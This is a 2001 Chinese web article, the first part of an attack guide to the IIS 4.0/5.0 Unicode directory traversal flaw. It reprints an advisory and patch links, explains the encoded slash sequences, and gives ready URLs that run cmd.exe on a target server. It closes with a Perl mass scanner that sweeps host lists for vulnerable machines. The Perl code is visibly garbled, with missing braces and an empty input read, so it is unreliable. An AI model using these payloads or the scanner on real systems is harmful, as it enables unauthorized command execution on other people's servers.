[ 永远的UNIX::UNIX技术资料的宝库 ]

首页 > 网络安全 > b7 > 正文

UNICODE编码漏洞全攻略-1

来源:作者:badboy 坏男孩俱乐部 (2001-05-20 14:08:00)

————————————————————————————————— 
badboy 坏男孩俱乐部 
这并不是什麽权威教材,只适合菜鸟了解win9x、NT存在的不安全面,切莫 
用此方法在国内做尝试,如果你偏要如此,那麽由此引起的一切法律後果由 
你自己负责。 
本文只允许在网路任意转载,但须保留文章的完整性,如把本文作爲经济目 
的使用,或者未经本人许可进行印刷、光碟杂、等出版性质的行爲,本人 
将保留侵权控告的权利。 
————————————————————————————————— 
2000年10月17日中联绿盟发布了以下的安全公告∶ 
微软IIS 4.0 / 5.0 扩展UNICODE目录遍历漏洞 
远端漏洞∶是 
本地漏洞∶是 
发布日期∶2000年10月17日 
更新日期∶2000年10月17日 
受影响的版本∶ 
Microsoft IIS 5.0 
+ Microsoft Windows NT 2000 
Microsoft IIS 4.0 
+ Microsoft Windows NT 4.0 
+ Microsoft BackOffice 4.5 
- Microsoft Windows NT 4.0 
+ Microsoft BackOffice 4.0 
- Microsoft Windows NT 4.0 
不受影响的版本∶ 
漏洞描述∶ 
微软IIS 4.0和5.0都存在利用扩展UNICODE字元取代"/"和"\"而能利用"../" 
目录遍历的漏洞。 
未经授权的用户可能利用IUSR_machinename账号的上下文空间访问任何已知 
的文件。该账号在默认情况下属于Everyone 和Users组的成员,因此任何与 
Web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除, 
修改或执行,就如同一个用户成功登陆所能完成的一样。 
测试方法∶(以下的程式或方法可能具有攻击性,如用於非法用途,後果自负!) 
http://target.computer/scripts/..%c1%1c../path/solo.txt 
%c0%af = / 
%c1%9c = \ 
解决方案: 
该漏洞补丁随微软安全公告MS00-057一起发布 
(http://www.microsoft.com/technet/security/bulletin/ms00-057.asp) 
可以从如下地址下载补丁: 
IIS 4.0 
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp 
IIS 5.0 
http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp 
————————————————————————————————— 
(以上爲原文) 
————————————————————————————————— 
该漏洞一发布後,紧接而来的是衆多NT网路服务器惨遭黑手,可以说,到目 
前爲止,网路里仍存在此漏洞的NT伺服器至少有30%,而这些站点的管理员 
是白痴还是认爲该漏洞不值得注意??看来是不曾被黑不落泪,NT站的管理 
员们,看完以下的方法,你快点给你的NT伺服器打补丁吧。 

一、UNICODE漏洞的原理 
此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1, 
台湾繁体中文也同样存在这样的漏洞。 
中文版的WIN2000中,UNICODE编码 存在BUG,在UNICODE 编码中 
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/' 
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\' 
在NT4中/编码爲%c1%9c 
在英文版里∶ 
WIN2000英文版%c0%af 
但从国外某些站点得来的资料显示,还有以下的编码可以实现对该漏洞的检测, 
具体情况本人未做详细的证实∶ 
%c1%pc 
%c0%9v 
%c0%qf 
%c1%8s 
%e0%80%af 
%f0%80%80%af 
%fc%80%80%80%80%af 
或许是什麽日文版、韩文版之类,win2000 Terminal版有兴趣的朋友可以试试。 
二、UNICODE漏洞的检测 
以下均以中文版WIN2K爲例,如果是其他NT版本,按上面所述的编码替换以下代 
码中的 
%c1%1c 
最简单的检测方法∶ 
比如说有一IP地址爲X.X.X.X的WIN2K主机,我们可以在位址栏输入 
x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 
如果存在此漏洞的话,我们便可以看到以下的内容∶(例子假设SCRIPTS目录里 
无文件) 
Directory of C:\inetpub\scripts 
2000-09-28 15:49 〈DIR〉 . 
2000-09-28 15:49 〈DIR〉 .. 

这是我们在很多经验交谈中常看到大家使用的方法,实际上我们也可以改爲这样 
127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/r+dir 
即r=c 这个字母的取代,在本文发表之前,网路里没有介绍过, 
关於r这字母可以等效於c,我们可以通过cmd/?可以得到解释。 

当然,如果目标主机的管理员把该目录删除掉,我们就无法看到了,但是还有 
以下的目录是同样可以用来测试的。 
http://x.x.x.x/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 
运行後,我们可以看到 
Directory of c:\program files\common files\system\msadc 
2000-08-06 19:16 
 . 
2000-08-06 19:16 
 .. 
(以下内容略) 
19 File(s) 1,233,840 bytes 
2 Dir(s) 6,290,644,992 bytes free 

如果漏洞和目录同时存在的话,你就可以在WEB页上看到相对应的目录里的一 
切内容。这仅是对单一目标主机的漏洞检测,如果想对某一IP段上的NT主机做 
UNICODE漏洞的检测,我们就需要使用类似以下的扫描软体。 
以下的源码是外国黑客写的,当然就只扫描英文版的NT,要扫描中文版的,需要 
做相应的修改。 
#!/usr/bin/perl 
#Root Shell Hackers 
#piffy 
#this is a quick scanner i threw together while supposedly doing homework in my room. 
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole 
#it checks for both %c0%af and %c1%9c 
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0 
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =] 
use strict; 
use LWP::UserAgent; 
use HTTP::Request; 
use HTTP::Response; 
my $def = new LWP::UserAgent; 
my @host; 
print "root shell hackers\n"; 
print "iis cmd hole scanner\n"; 
print "coded by piffy\n"; 
print "\nWhat file contains the hosts: "; 
chop (my $hosts=); 
open(IN, $hosts) || die "\nCould not open $hosts: $!"; 
while (

$host[$a] = $_; 
chomp $host[$a]; 
$a++; 
$b++; 

close(IN); 
$a = 0; 
print "ph34r, scan started"; 
while ($a < $b) 

my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ "; 
my $request = new HTTP::Request('GET', $url); 
my $response = $def->request($request); 
if ($response->is_success) { 
print $response->content; 
open(OUT, ">>scaniis.log"); 
print OUT "\n$host[$a] : $response->content"; 
-close OUT; 
} else { 
print $response->error_as_HTML; 

&second() 


sub second() { 
my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ "; 
my $request = new HTTP::Request('GET', $url2); 
my $response = $def->request($request); 
if ($response->is_success) { 
print $response->content; 
open(OUT, ">>scaniis.log"); 
print OUT "\n$host[$a] : $response->content"; 
-close OUT; 
} else { 
print $response->error_as_HTML; 

$a++; 



—————————————————————————————————— 
以上的pl程式你可以在本机运行(当然需要安装PERL),也可以在远端的 
伺服器上运行。 

(http://www.fanqiang.com)



 
 相关文章

★  感谢所有的作者为我们学习技术知识提供了一条捷径  ★
www.fanqiang.com